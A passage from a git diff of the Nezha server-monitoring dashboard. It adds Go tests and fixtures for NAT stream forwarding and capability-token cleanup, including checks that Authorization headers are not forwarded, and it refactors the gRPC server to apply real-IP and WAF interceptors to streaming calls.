"target.example"}) + close(done) + }() + select { + case <-agent.writeDone: + case <-deadline.Done(): + t.Fatal("agent did not receive ordinary NAT request") + } + _ = connection.Close() + select { + case <-done: + case <-deadline.Done(): + t.Fatal("ServeNAT did not finish") + } + forwarded := strings.ToLower(string(agent.writtenBytes())) + if !strings.Contains(forwarded, strings.ToLower(agentcompatcontract.IOStreamCapabilityHeader)+": ordinary-data") { + t.Fatal("default NAT flow did not forward capability header as ordinary request data") + } + if strings.Contains(forwarded, "Authorization:") || strings.Contains(forwarded, "deterministic-secret") { + t.Fatal("default NAT flow forwarded Authorization credentials") + } +} diff --git a/cmd/dashboard/rpc/nat_capability_default_test.go b/cmd/dashboard/rpc/nat_capability_default_test.go new file mode 100644 index 00000000..7ff5e686 --- /dev/null +++ b/cmd/dashboard/rpc/nat_capability_default_test.go @@ -0,0 +1,35 @@ +//go:build !agentcompat + +package rpc + +import ( + "net/http" + "testing" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/agentcompatcontract" +) + +func TestPrepareNATCapabilityDefaultPreservesHeaderAsOrdinaryRequestData(t *testing.T) { + // Given + request := &http.Request{Header: make(http.Header)} + request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, "ordinary-data") + request.Header.Set("Authorization", "Bearer deterministic-secret") + + // When + lease, err := prepareNATCapability(request, &model.NAT{Common: model.Common{ID: 91}, ServerID: 81}) + + // Then + if err != nil { + t.Fatalf("default NAT capability hook returned error: %v", err) + } + if lease.active { + t.Fatal("default NAT capability hook unexpectedly activated") + } + if got := request.Header.Get(agentcompatcontract.IOStreamCapabilityHeader); got != "ordinary-data" { + t.Fatalf("default NAT capability hook changed header to %q", got) + } + if got := request.Header.Get("Authorization"); got != "" { + t.Fatalf("default NAT capability hook retained Authorization %q", got) + } +} diff --git a/cmd/dashboard/rpc/nat_capability_failures_agentcompat_test.go b/cmd/dashboard/rpc/nat_capability_failures_agentcompat_test.go new file mode 100644 index 00000000..822bafe8 --- /dev/null +++ b/cmd/dashboard/rpc/nat_capability_failures_agentcompat_test.go @@ -0,0 +1,245 @@ +//go:build agentcompat + +package rpc + +import ( + "context" + "io" + "net/http" + "net/url" + "sync" + "testing" + "time" + + "github.com/goccy/go-json" + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/agentcompatcontract" + "github.com/nezhahq/nezha/proto" + serviceRPC "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" + "github.com/stretchr/testify/require" +) + +func TestServeNATAgentCompatReleasesCapabilityBeforeServerDispatch(t *testing.T) { + fixture := newServeNATFixture(t) + capability, access := registerNATCapabilityForTest(t, fixture.handler, fixture.server.ID, 101) + originalServers := singleton.ServerShared + singleton.ServerShared = singleton.NewServerClass() + t.Cleanup(func() { singleton.ServerShared = originalServers }) + request := capabilityRequest(capability) + + ServeNAT(&serveNATResponseWriter{}, request, &model.NAT{Common: model.Common{ID: 101}, ServerID: fixture.server.ID, Host: "target.example"}) + + assertNATCapabilitySlotReleased(t, fixture.handler, access) + require.Equal(t, 0, fixture.handler.StreamCount()) + require.Empty(t, fixture.taskStream.sent) +} + +func TestServeNATAgentCompatTaskStreamUnavailableReleasesCapabilityBeforeActivity(t *testing.T) { + fixture := newServeNATFixture(t) + capability, access := registerNATCapabilityForTest(t, fixture.handler, fixture.server.ID, 105) + fixture.server.SetTaskStream(nil) + request := capabilityRequest(capability) + + ServeNAT(&serveNATResponseWriter{}, request, &model.NAT{Common: model.Common{ID: 105}, ServerID: fixture.server.ID, Host: "target.example"}) + + assertNATCapabilitySlotReleased(t, fixture.handler, access) + require.Equal(t, 0, fixture.handler.StreamCount()) + require.Empty(t, fixture.taskStream.sent) + if request.Header.Get(agentcompatcontract.IOStreamCapabilityHeader) != "" { + t.Fatal("capability header remained after task stream unavailable") + } +} + +func TestServeNATAgentCompatCreateQuotaFailurePreservesExistingStreams(t *testing.T) { + fixture := newServeNATFixture(t) + capability, access := registerNATCapabilityForTest(t, fixture.handler, fixture.server.ID, 106) + const existingStreamCount = 40 + for index := 0; index < existingStreamCount; index++ { + require.NoError(t, fixture.handler.CreateStreamWithPurpose("quota-existing-"+string(rune(index)), 0, fixture.server.ID, serviceRPC.PurposeNAT)) + } + t.Cleanup(func() { + for index := 0; index < existingStreamCount; index++ { + _ = fixture.handler.CloseStream("quota-existing-" + string(rune(index))) + } + }) + request := capabilityRequest(capability) + + ServeNAT(&serveNATResponseWriter{}, request, &model.NAT{Common: model.Common{ID: 106}, ServerID: fixture.server.ID, Host: "target.example"}) + + assertNATCapabilitySlotReleased(t, fixture.handler, access) + require.Equal(t, existingStreamCount, fixture.handler.StreamCount()) + require.Empty(t, fixture.taskStream.sent) +} + +func TestServeNATAgentCompatPublishCancellationClosesRegistryOwnedEndpoints(t *testing.T) { + fixture := newServeNATFixture(t) + capability, access := registerNATCapabilityForTest(t, fixture.handler, fixture.server.ID, 107) + connection := newServeNATConn() + agent := &serveNATAgent{readErr: io.EOF, writeDone: make(chan struct{})} + observerEntered := make(chan struct{}) + observerRelease := make(chan struct{}) + var observerOnce sync.Once + fixture.handler.SetAgentCompatCapabilityPublishObserverForTest(func() { + observerOnce.Do(func() { close(observerEntered) }) + <-observerRelease + }) + t.Cleanup(func() { fixture.handler.SetAgentCompatCapabilityPublishObserverForTest(nil) }) + fixture.taskStream.onSend = func(task *proto.Task) error { + var nat model.TaskNAT + require.NoError(t, json.Unmarshal([]byte(task.Data), &nat)) + return fixture.handler.AgentConnected(nat.StreamID, agent) + } + request := capabilityRequest(capability) + writer := &serveNATResponseWriter{conn: connection} + serveDone := make(chan struct{}) + go func() { + ServeNAT(writer, request, &model.NAT{Common: model.Common{ID: 107}, ServerID: fixture.server.ID, Host: "target.example"}) + close(serveDone) + }() + select { + case <-observerEntered: + case <-serveDone: + t.Fatal("ServeNAT returned before publish pause") + } + fixture.handler.CreateStreamWithPurpose("publish-replacement", 0, fixture.server.ID, serviceRPC.PurposeNAT) + require.NoError(t, fixture.handler.CancelAgentCompatIOStreamCapability(access)) + close(observerRelease) + completionContext, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + select { + case <-serveDone: + case <-completionContext.Done(): + t.Fatal("ServeNAT did not finish after publish cancellation") + } + assertCapabilityReleased(t, fixture.handler, access) + require.Equal(t, int32(1), connection.closeCount.Load()) + require.Equal(t, int32(1), agent.closeCount.Load()) + require.Equal(t, 1, fixture.handler.StreamCount()) + select { + case <-agent.writeDone: + t.Fatal("agent endpoint was used after publish cancellation") + default: + } +} + +func TestServeNATAgentCompatSendTaskFailureReleasesStreamAndCapabilityBeforeWrapper(t *testing.T) { + fixture := newServeNATFixture(t) + capability, access := registerNATCapabilityForTest(t, fixture.handler, fixture.server.ID, 102) + fixture.taskStream.sendErr = io.ErrClosedPipe + connection := newServeNATConn() + request := capabilityRequest(capability) + request.Body = &serveNATBody{} + writer := &serveNATResponseWriter{conn: connection} + + ServeNAT(writer, request, &model.NAT{Common: model.Common{ID: 102}, ServerID: fixture.server.ID, Host: "target.example"}) + + assertCapabilityReleased(t, fixture.handler, access) + require.Equal(t, 0, fixture.handler.StreamCount()) + require.Equal(t, int32(0), connection.closeCount.Load()) +} + +func TestServeNATAgentCompatWrapperFailureReleasesCapabilityWithoutSecondResponse(t *testing.T) { + fixture := newServeNATFixture(t) + capability, access := registerNATCapabilityForTest(t, fixture.handler, fixture.server.ID, 103) + request := capabilityRequest(capability) + writer := &nonHijackingResponseWriter{} + + ServeNAT(writer, request, &model.NAT{Common: model.Common{ID: 103}, ServerID: fixture.server.ID, Host: "target.example"}) + + assertCapabilityReleased(t, fixture.handler, access) + require.Equal(t, 0, fixture.handler.StreamCount()) + require.Equal(t, 0, writer.writes) +} + +func TestServeNATAgentCompatStartFailureCancelsPublishedCapabilityAndClosesEndpoints(t *testing.T) { + fixture := newServeNATFixture(t) + capability, access := registerNATCapabilityForTest(t, fixture.handler, fixture.server.ID, 104) + connection := newServeNATConn() + agent := &serveNATAgent{readErr: io.EOF, writeDone: make(chan struct{})} + fixture.taskStream.onSend = func(task *proto.Task) error { + var nat model.TaskNAT + if err := json.Unmarshal([]byte(task.Data), &nat); err != nil { + return err + } + return fixture.handler.AgentConnected(nat.StreamID, agent) + } + request := capabilityRequest(capability) + writer := &serveNATResponseWriter{conn: connection} + + ServeNAT(writer, request, &model.NAT{Common: model.Common{ID: 104}, ServerID: fixture.server.ID, Host: "target.example"}) + + assertCapabilityReleased(t, fixture.handler, access) + require.Equal(t, 0, fixture.handler.StreamCount()) + require.Equal(t, int32(1), connection.closeCount.Load()) + require.Equal(t, int32(1), agent.closeCount.Load()) +} + +func registerNATCapabilityForTest(t *testing.T, handler *serviceRPC.NezhaHandler, serverID, resourceID uint64) (string, serviceRPC.AgentCompatCapabilityAccess) { + t.Helper() + capability, err := handler.RegisterAgentCompatIOStreamCapability(context.Background(), serviceRPC.AgentCompatCapabilityRegistration{ + Owner: serviceRPC.AgentCompatCapabilityOwner{PATID: resourceID, UserID: resourceID + 1}, Purpose: serviceRPC.AgentCompatCapabilityNAT, + TargetServerID: serverID, ResourceID: resourceID, ServerAccessAllowed: true, + }) + require.NoError(t, err) + parsed, err := serviceRPC.ParseAgentCompatIOStreamCapability(capability.String()) + require.NoError(t, err) + return capability.String(), serviceRPC.AgentCompatCapabilityAccess{ + Capability: parsed, Owner: serviceRPC.AgentCompatCapabilityOwner{PATID: resourceID, UserID: resourceID + 1}, + Purpose: serviceRPC.AgentCompatCapabilityNAT, TargetServerID: serverID, ResourceID: resourceID, ServerAccessAllowed: true, + } +} + +func capabilityRequest(value string) *http.Request { + request := &http.Request{Method: http.MethodPost, URL: &url.URL{Scheme: "http", Host: "example.test", Path: "/nat"}, Header: make(http.Header), Body: &serveNATBody{}} + request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, value) + return request +} + +func assertCapabilityReleased(t *testing.T, handler *serviceRPC.NezhaHandler, access serviceRPC.AgentCompatCapabilityAccess) { + t.Helper() + _, _, err := handler.ConsumeAgentCompatNATCapabilityForProfile(access.Capability.String(), access.TargetServerID, access.ResourceID) + require.ErrorIs(t, err, serviceRPC.ErrAgentCompatCapabilityHidden) +} + +func assertNATCapabilitySlotReleased(t *testing.T, handler *serviceRPC.NezhaHandler, access serviceRPC.AgentCompatCapabilityAccess) { + t.Helper() + assertCapabilityReleased(t, handler, access) + type activeCapability struct { + capability serviceRPC.AgentCompatIOStreamCapability + resourceID uint64 + } + active := make([]activeCapability, 0, 16) + for index := uint64(0); index < 16; index++ { + capability, err := handler.RegisterAgentCompatIOStreamCapability(context.Background(), serviceRPC.AgentCompatCapabilityRegistration{ + Owner: access.Owner, Purpose: serviceRPC.AgentCompatCapabilityNAT, TargetServerID: access.TargetServerID, + ResourceID: access.ResourceID + index + 1000, ServerAccessAllowed: true, + }) + require.NoError(t, err) + active = append(active, activeCapability{capability: capability, resourceID: access.ResourceID + index + 1000}) + } + _, err := handler.RegisterAgentCompatIOStreamCapability(context.Background(), serviceRPC.AgentCompatCapabilityRegistration{ + Owner: access.Owner, Purpose: serviceRPC.AgentCompatCapabilityNAT, TargetServerID: access.TargetServerID, + ResourceID: access.ResourceID + 2000, ServerAccessAllowed: true, + }) + require.ErrorIs(t, err, serviceRPC.ErrAgentCompatCapabilityUnavailable) + for _, item := range active { + parsed, parseErr := serviceRPC.ParseAgentCompatIOStreamCapability(item.capability.String()) + require.NoError(t, parseErr) + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(serviceRPC.AgentCompatCapabilityAccess{ + Capability: parsed, Owner: access.Owner, Purpose: serviceRPC.AgentCompatCapabilityNAT, + TargetServerID: access.TargetServerID, ResourceID: item.resourceID, ServerAccessAllowed: true, + })) + } +} + +type nonHijackingResponseWriter struct { + writes int +} + +func (writer *nonHijackingResponseWriter) Header() http.Header { return make(http.Header) } +func (writer *nonHijackingResponseWriter) Write(data []byte) (int, error) { + writer.writes += len(data) + return len(data), nil +} +func (*nonHijackingResponseWriter) WriteHeader(int) {} diff --git a/cmd/dashboard/rpc/nat_capability_flow_agentcompat_test.go b/cmd/dashboard/rpc/nat_capability_flow_agentcompat_test.go new file mode 100644 index 00000000..2ed5a003 --- /dev/null +++ b/cmd/dashboard/rpc/nat_capability_flow_agentcompat_test.go @@ -0,0 +1,151 @@ +//go:build agentcompat + +package rpc + +import ( + "bytes" + "context" + "io" + "net/http" + "net/url" + "strings" + "sync" + "testing" + "time" + + "github.com/goccy/go-json" + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/agentcompatcontract" + "github.com/nezhahq/nezha/proto" + serviceRPC "github.com/nezhahq/nezha/service/rpc" + "github.com/stretchr/testify/require" +) + +func TestServeNATAgentCompatPublishesExactStreamAfterRequestTransfer(t *testing.T) { + fixture := newServeNATFixture(t) + capability, err := fixture.handler.RegisterAgentCompatIOStreamCapability(context.Background(), serviceRPC.AgentCompatCapabilityRegistration{ + Owner: serviceRPC.AgentCompatCapabilityOwner{PATID: 1, UserID: 2}, + Purpose: serviceRPC.AgentCompatCapabilityNAT, + TargetServerID: fixture.server.ID, + ResourceID: 91, + ServerAccessAllowed: true, + }) + require.NoError(t, err) + access, err := serviceRPC.ParseAgentCompatIOStreamCapability(capability.String()) + require.NoError(t, err) + connection := newServeNATConn() + writer := &serveNATResponseWriter{conn: connection} + agent := &orderedNATAgent{readStarted: make(chan struct{}), readRelease: make(chan struct{}), writeStarted: make(chan struct{})} + taskStreamIDReady := make(chan string, 1) + request := &http.Request{ + Method: http.MethodPost, + URL: &url.URL{Scheme: "http", Host: "example.test", Path: "/nat"}, + Header: make(http.Header), + Body: io.NopCloser(strings.NewReader("payload")), + } + request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, capability.String()) + request.Header.Set("Authorization", "Bearer deterministic-secret") + request.Header.Set("X-Ordinary-NAT", "ordinary") + fixture.taskStream.onSend = func(task *proto.Task) error { + var nat model.TaskNAT + if err := json.Unmarshal([]byte(task.Data), &nat); err != nil { + return err + } + if err := fixture.handler.AgentConnected(nat.StreamID, agent); err != nil { + return err + } + taskStreamIDReady <- nat.StreamID + return nil + } + serveDone := make(chan struct{}) + go func() { + ServeNAT(writer, request, &model.NAT{Common: model.Common{ID: 91}, ServerID: fixture.server.ID, Host: "target.example"}) + close(serveDone) + }() + streamID, err := fixture.handler.WaitAgentCompatIOStreamCapability(context.Background(), serviceRPC.AgentCompatCapabilityAccess{ + Capability: access, + Owner: serviceRPC.AgentCompatCapabilityOwner{PATID: 1, UserID: 2}, + Purpose: serviceRPC.AgentCompatCapabilityNAT, + TargetServerID: fixture.server.ID, + ResourceID: 91, + ServerAccessAllowed: true, + }) + require.NoError(t, err) + taskStreamID := <-taskStreamIDReady + require.Equal(t, taskStreamID, streamID) + select { + case <-agent.readStarted: + case <-serveDone: + t.Fatal("ServeNAT returned before StartStream read") + } + select { + case <-agent.writeStarted: + case <-serveDone: + t.Fatal("ServeNAT returned before request reached agent") + } + close(agent.readRelease) + require.NoError(t, connection.Close()) + completionContext, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + select { + case <-serveDone: + case <-completionContext.Done(): + t.Fatal("ServeNAT did not complete after StartStream") + } + require.NoError(t, fixture.handler.CancelAgentCompatIOStreamCapability(serviceRPC.AgentCompatCapabilityAccess{ + Capability: access, + Owner: serviceRPC.AgentCompatCapabilityOwner{PATID: 1, UserID: 2}, + Purpose: serviceRPC.AgentCompatCapabilityNAT, + TargetServerID: fixture.server.ID, + ResourceID: 91, + ServerAccessAllowed: true, + })) + require.NotContains(t, string(agent.writtenBytes()), capability.String()) + forwarded := string(agent.writtenBytes()) + for _, expected := range []string{"POST /nat HTTP/1.1", "Host: example.test", "X-Ordinary-Nat: ordinary", "payload"} { + require.Contains(t, forwarded, expected) + } + require.NotContains(t, forwarded, agentcompatcontract.IOStreamCapabilityHeader) + require.NotContains(t, forwarded, "Authorization:") + require.NotContains(t, forwarded, "deterministic-secret") +} + +type orderedNATAgent struct { + mu sync.Mutex + written bytes.Buffer + readStarted chan struct{} + readRelease chan struct{} + writeStarted chan struct{} + readOnce sync.Once + writeOnce sync.Once + closeCount int +} + +func (agent *orderedNATAgent) Read([]byte) (int, error) { + agent.readOnce.Do(func() { close(agent.readStarted) }) + <-agent.readRelease + return 0, io.EOF +} + +func (agent *orderedNATAgent) Write(data []byte) (int, error) { + agent.mu.Lock() + count, err := agent.written.Write(data) + agent.mu.Unlock() + agent.writeOnce.Do(func() { close(agent.writeStarted) }) + return count, err +} + +func (agent *orderedNATAgent) Close() error { + agent.mu.Lock() + defer agent.mu.Unlock() + agent.closeCount++ + return nil +} + +func (agent *orderedNATAgent) writtenBytes() []byte { + agent.mu.Lock() + defer agent.mu.Unlock() + return append([]byte(nil), agent.written.Bytes()...) +} + +var _ io.ReadWriteCloser = (*orderedNATAgent)(nil) diff --git a/cmd/dashboard/rpc/nat_test.go b/cmd/dashboard/rpc/nat_test.go new file mode 100644 index 00000000..ed5ccde0 --- /dev/null +++ b/cmd/dashboard/rpc/nat_test.go @@ -0,0 +1,93 @@ +package rpc + +import ( + "io" + "net/http" + "net/url" + "strings" + "testing" + "time" + + "github.com/goccy/go-json" + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/proto" +) + +func TestServeNATClosesHijackedResourcesWhenStreamDisappearsBeforeUserTransfer(t *testing.T) { + fixture := newServeNATFixture(t) + conn := newServeNATConn() + body := &serveNATBody{} + writer := &serveNATResponseWriter{conn: conn} + request := &http.Request{Method: http.MethodPost, URL: &url.URL{Scheme: "http", Host: "example.test", Path: "/nat"}, Header: make(http.Header), Body: body, ContentLength: 0} + request.Header.Set("X-NAT-Test", "failure") + fixture.taskStream.onSend = func(task *proto.Task) error { + var nat model.TaskNAT + if err := json.Unmarshal([]byte(task.Data), &nat); err != nil { + return err + } + return fixture.handler.CloseStream(nat.StreamID) + } + + ServeNAT(writer, request, &model.NAT{ServerID: fixture.server.ID, Host: "target.example"}) + + if got := body.closeCount.Load(); got == 0 { + t.Fatal("request body was not closed after failed transfer") + } + if got := conn.closeCount.Load(); got != 1 { + t.Fatalf("hijacked connection close count = %d, want 1", got) + } + select { + case <-conn.readDone: + case <-time.After(time.Second): + t.Fatal("hijacked connection read remained blocked after failed transfer") + } + if writer.status != 0 || writer.writes != 0 { + t.Fatalf("hijacked failure wrote HTTP response: status=%d writes=%d", writer.status, writer.writes) + } +} + +func TestServeNATTransfersRequestAndRegistryOwnsSuccessfulCleanup(t *testing.T) { + fixture := newServeNATFixture(t) + conn := newServeNATConn() + body := &serveNATBody{} + agent := &serveNATAgent{readErr: io.EOF, writeDone: make(chan struct{})} + writer := &serveNATResponseWriter{conn: conn} + request := &http.Request{Method: http.MethodPost, URL: &url.URL{Scheme: "http", Host: "example.test", Path: "/nat"}, Header: make(http.Header), Body: body, ContentLength: 0} + request.Header.Set("X-NAT-Test", "success") + fixture.taskStream.onSend = func(task *proto.Task) error { + var nat model.TaskNAT + if err := json.Unmarshal([]byte(task.Data), &nat); err != nil { + return err + } + return fixture.handler.AgentConnected(nat.StreamID, agent) + } + + serveDone := make(chan struct{}) + go func() { + ServeNAT(writer, request, &model.NAT{ServerID: fixture.server.ID, Host: "target.example"}) + close(serveDone) + }() + + select { + case <-agent.writeDone: + case <-time.After(time.Second): + t.Fatal("agent did not receive the transferred NAT request") + } + select { + case <-serveDone: + case <-time.After(time.Second): + t.Fatal("ServeNAT did not finish after the successful stream was closed") + } + if got := body.closeCount.Load(); got == 0 { + t.Fatal("registry-owned request body was not closed") + } + if got := conn.closeCount.Load(); got != 1 { + t.Fatalf("registry-owned hijacked connection close count = %d, want 1", got) + } + if got := agent.closeCount.Load(); got != 1 { + t.Fatalf("registry-owned agent close count = %d, want 1", got) + } + if got := strings.ToLower(string(agent.writtenBytes())); !strings.Contains(got, "post /nat http/1.1") || !strings.Contains(got, "x-nat-test: success") { + t.Fatalf("agent received incomplete NAT request: %q", got) + } +} diff --git a/cmd/dashboard/rpc/nat_test_support_test.go b/cmd/dashboard/rpc/nat_test_support_test.go new file mode 100644 index 00000000..d4a62c17 --- /dev/null +++ b/cmd/dashboard/rpc/nat_test_support_test.go @@ -0,0 +1,171 @@ +package rpc + +import ( + "bufio" + "bytes" + "context" + "io" + "net" + "net/http" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/proto" + rpcService "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" + "github.com/stretchr/testify/require" + "google.golang.org/grpc/metadata" + "gorm.io/driver/sqlite" + "gorm.io/gorm" +) + +type serveNATFixture struct { + handler *rpcService.NezhaHandler + server *model.Server + taskStream *serveNATTaskStream +} + +func newServeNATFixture(t *testing.T) serveNATFixture { + t.Helper() + originalDB, originalServerShared, originalHandler := singleton.DB, singleton.ServerShared, rpcService.NezhaHandlerSingleton + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + require.NoError(t, err) + require.NoError(t, db.AutoMigrate(model.Server{})) + server := &model.Server{Common: model.Common{ID: 7}, UUID: "serve-nat-test", Name: "serve-nat-test"} + require.NoError(t, db.Create(server).Error) + singleton.DB = db + singleton.ServerShared = singleton.NewServerClass() + handler := rpcService.NewNezhaHandler() + rpcService.NezhaHandlerSingleton = handler + taskStream := &serveNATTaskStream{} + server, ok := singleton.ServerShared.Get(server.ID) + require.True(t, ok) + server.SetTaskStream(taskStream) + taskStream.server = server + t.Cleanup(func() { + rpcService.NezhaHandlerSingleton, singleton.ServerShared, singleton.DB = originalHandler, originalServerShared, originalDB + if dbSQL, dbErr := db.DB(); dbErr == nil { + _ = dbSQL.Close() + } + }) + return serveNATFixture{handler: handler, server: server, taskStream: taskStream} +} + +type serveNATTaskStream struct { + server *model.Server + onSend func(*proto.Task) error + sendErr error + sent []*proto.Task +} + +func (stream *serveNATTaskStream) Send(task *proto.Task) error { + stream.sent = append(stream.sent, task) + if stream.sendErr != nil { + return stream.sendErr + } + if stream.onSend != nil { + return stream.onSend(task) + } + return nil +} +func (*serveNATTaskStream) Recv() (*proto.TaskResult, error) { return nil, io.EOF } +func (*serveNATTaskStream) SetHeader(metadata.MD) error { return nil } +func (*serveNATTaskStream) SendHeader(metadata.MD) error { return nil } +func (*serveNATTaskStream) SetTrailer(metadata.MD) {} +func (*serveNATTaskStream) Context() context.Context { return context.Background() } +func (*serveNATTaskStream) SendMsg(any) error { return nil } +func (*serveNATTaskStream) RecvMsg(any) error { return io.EOF } + +type serveNATResponseWriter struct { + conn *serveNATConn + header http.Header + status, writes int + body string +} + +func (writer *serveNATResponseWriter) Header() http.Header { + if writer.header == nil { + writer.header = make(http.Header) + } + return writer.header +} +func (writer *serveNATResponseWriter) Write(data []byte) (int, error) { + writer.writes += len(data) + writer.body += string(data) + return len(data), nil +} +func (writer *serveNATResponseWriter) WriteHeader(status int) { writer.status = status } +func (writer *serveNATResponseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) { + go func() { _, _ = writer.conn.Read(make([]byte, 1)) }() + return writer.conn, bufio.NewReadWriter(bufio.NewReader(writer.conn), bufio.NewWriter(writer.conn)), nil +} + +type serveNATBody struct{ closeCount atomic.Int32 } + +func (*serveNATBody) Read([]byte) (int, error) { return 0, io.EOF } +func (body *serveNATBody) Close() error { body.closeCount.Add(1); return nil } + +type serveNATConn struct { + closed, readDone chan struct{} + readDoneOnce, closeOnce sync.Once + closeCount atomic.Int32 +} + +func newServeNATConn() *serveNATConn { + return &serveNATConn{closed: make(chan struct{}), readDone: make(chan struct{})} +} +func (conn *serveNATConn) Read([]byte) (int, error) { + <-conn.closed + conn.readDoneOnce.Do(func() { close(conn.readDone) }) + return 0, io.EOF +} +func (*serveNATConn) Write(data []byte) (int, error) { return len(data), nil } +func (conn *serveNATConn) Close() error { + conn.closeCount.Add(1) + conn.closeOnce.Do(func() { close(conn.closed) }) + return nil +} +func (*serveNATConn) LocalAddr() net.Addr { return serveNATAddr("local") } +func (*serveNATConn) RemoteAddr() net.Addr { return serveNATAddr("remote") } +func (*serveNATConn) SetDeadline(time.Time) error { return nil } +func (*serveNATConn) SetReadDeadline(time.Time) error { return nil } +func (*serveNATConn) SetWriteDeadline(time.Time) error { return nil } + +type serveNATAddr string + +func (addr serveNATAddr) Network() string { return "test" } +func (addr serveNATAddr) String() string { return string(addr) } + +type serveNATAgent struct { + mu sync.Mutex + written bytes.Buffer + readErr error + writeDone chan struct{} + writeOnce sync.Once + closeCount atomic.Int32 +} + +func (agent *serveNATAgent) Read([]byte) (int, error) { return 0, agent.readErr } +func (agent *serveNATAgent) Write(data []byte) (int, error) { + agent.mu.Lock() + defer agent.mu.Unlock() + count, err := agent.written.Write(data) + if agent.writeDone != nil { + agent.writeOnce.Do(func() { close(agent.writeDone) }) + } + return count, err +} +func (agent *serveNATAgent) Close() error { agent.closeCount.Add(1); return nil } +func (agent *serveNATAgent) writtenBytes() []byte { + agent.mu.Lock() + defer agent.mu.Unlock() + return append([]byte(nil), agent.written.Bytes()...) +} + +var _ proto.NezhaService_RequestTaskServer = (*serveNATTaskStream)(nil) +var _ http.Hijacker = (*serveNATResponseWriter)(nil) +var _ net.Conn = (*serveNATConn)(nil) +var _ io.ReadWriteCloser = (*serveNATAgent)(nil) diff --git a/cmd/dashboard/rpc/rpc.go b/cmd/dashboard/rpc/rpc.go index 68c84cd6..ff95df9b 100644 --- a/cmd/dashboard/rpc/rpc.go +++ b/cmd/dashboard/rpc/rpc.go @@ -1,190 +1,44 @@ package rpc import ( - "context" - "fmt" - "log" - "net/http" - "net/netip" - "time" + "net" - "github.com/goccy/go-json" "google.golang.org/grpc" - "google.golang.org/grpc/metadata" - "google.golang.org/grpc/peer" - "github.com/hashicorp/go-uuid" - "github.com/nezhahq/nezha/model" - "github.com/nezhahq/nezha/pkg/utils" "github.com/nezhahq/nezha/proto" rpcService "github.com/nezhahq/nezha/service/rpc" "github.com/nezhahq/nezha/service/singleton" ) +func SetReceiptGateListener(listener net.Listener) { + rpcService.SetReceiptGateListener(listener) +} + +func CloseReceiptGate() { + rpcService.CloseReceiptGate() +} + +// SetMCPKillSwitchObserver re-exports the service/rpc hook so cmd/dashboard +// can wire singleton.Conf.EnableMCP without importing the inner rpc package +// (cmd/dashboard already imports cmd/dashboard/rpc for ServeRPC). +func SetMCPKillSwitchObserver(fn func() bool) { + rpcService.SetMCPKillSwitchObserver(fn) +} + func ServeRPC() *grpc.Server { - server := grpc.NewServer(grpc.ChainUnaryInterceptor(getRealIp, waf)) + // Streaming RPCs (RequestTask, IOStream) need the same real-IP + WAF + // gate as unary calls; without the stream interceptors authHandler.check + // sees an empty real IP, so brute-force BlockIP counters never key on a + // source and the WAF block table is bypassed at the stream entrypoint. + server := grpc.NewServer( + grpc.ChainUnaryInterceptor(getRealIp, waf), + grpc.ChainStreamInterceptor(getRealIpStream, wafStream), + ) rpcService.NezhaHandlerSingleton = rpcService.NewNezhaHandler() + // Install the IOStream revocation hook so ServerTransferShared can tear + // down terminal/FM/NAT sessions held by the previous owner on every + // ownership rotation (Register/revertTransition/OnServersDeleted). + singleton.ServerTransferStreamRevocationHook = rpcService.NezhaHandlerSingleton.RevokeStreamsForServer proto.RegisterNezhaServiceServer(server, rpcService.NezhaHandlerSingleton) return server } - -func waf(ctx context.Context, req any, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (any, error) { - realip, _ := ctx.Value(model.CtxKeyRealIP{}).(string) - if err := model.CheckIP(singleton.DB, realip); err != nil { - return nil, err - } - return handler(ctx, req) -} - -func getRealIp(ctx context.Context, req any, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (any, error) { - var ip, connectingIp string - p, ok := peer.FromContext(ctx) - if ok { - addrPort, err := netip.ParseAddrPort(p.Addr.String()) - if err == nil { - connectingIp = addrPort.Addr().String() - } - } - ctx = context.WithValue(ctx, model.CtxKeyConnectingIP{}, connectingIp) - - if singleton.Conf.AgentRealIPHeader == "" { - return handler(ctx, req) - } - - if singleton.Conf.AgentRealIPHeader == model.ConfigUsePeerIP { - if connectingIp == "" { - return nil, fmt.Errorf("connecting ip not found") - } - } else { - vals := metadata.ValueFromIncomingContext(ctx, singleton.Conf.AgentRealIPHeader) - if len(vals) == 0 { - return nil, fmt.Errorf("real ip header not found") - } - var err error - ip, err = utils.GetIPFromHeader(vals[0]) - if err != nil { - return nil, err - } - } - - if singleton.Conf.Debug { - log.Printf("NEZHA>> gRPC Agent Real IP: %s, connecting IP: %s\n", ip, connectingIp) - } - - ctx = context.WithValue(ctx, model.CtxKeyRealIP{}, ip) - return handler(ctx, req) -} - -func DispatchTask(serviceSentinelDispatchBus <-chan *model.Service) { - for task := range serviceSentinelDispatchBus { - if task == nil { - continue - } - - switch task.Cover { - case model.ServiceCoverIgnoreAll: - for id, enabled := range task.SkipServers { - if !enabled { - continue - } - - server, _ := singleton.ServerShared.Get(id) - if server == nil || server.TaskStream == nil { - continue - } - - if canSendTaskToServer(task, server) { - server.TaskStream.Send(task.PB()) - } - } - case model.ServiceCoverAll: - for id, server := range singleton.ServerShared.Range { - if server == nil || server.TaskStream == nil || task.SkipServers[id] { - continue - } - - if canSendTaskToServer(task, server) { - server.TaskStream.Send(task.PB()) - } - } - } - } -} - -func DispatchKeepalive() { - singleton.CronShared.AddFunc("@every 20s", func() { - list := singleton.ServerShared.GetSortedList() - for _, s := range list { - if s == nil || s.TaskStream == nil { - continue - } - s.TaskStream.Send(&proto.Task{Type: model.TaskTypeKeepalive}) - } - }) -} - -func ServeNAT(w http.ResponseWriter, r *http.Request, natConfig *model.NAT) { - server, _ := 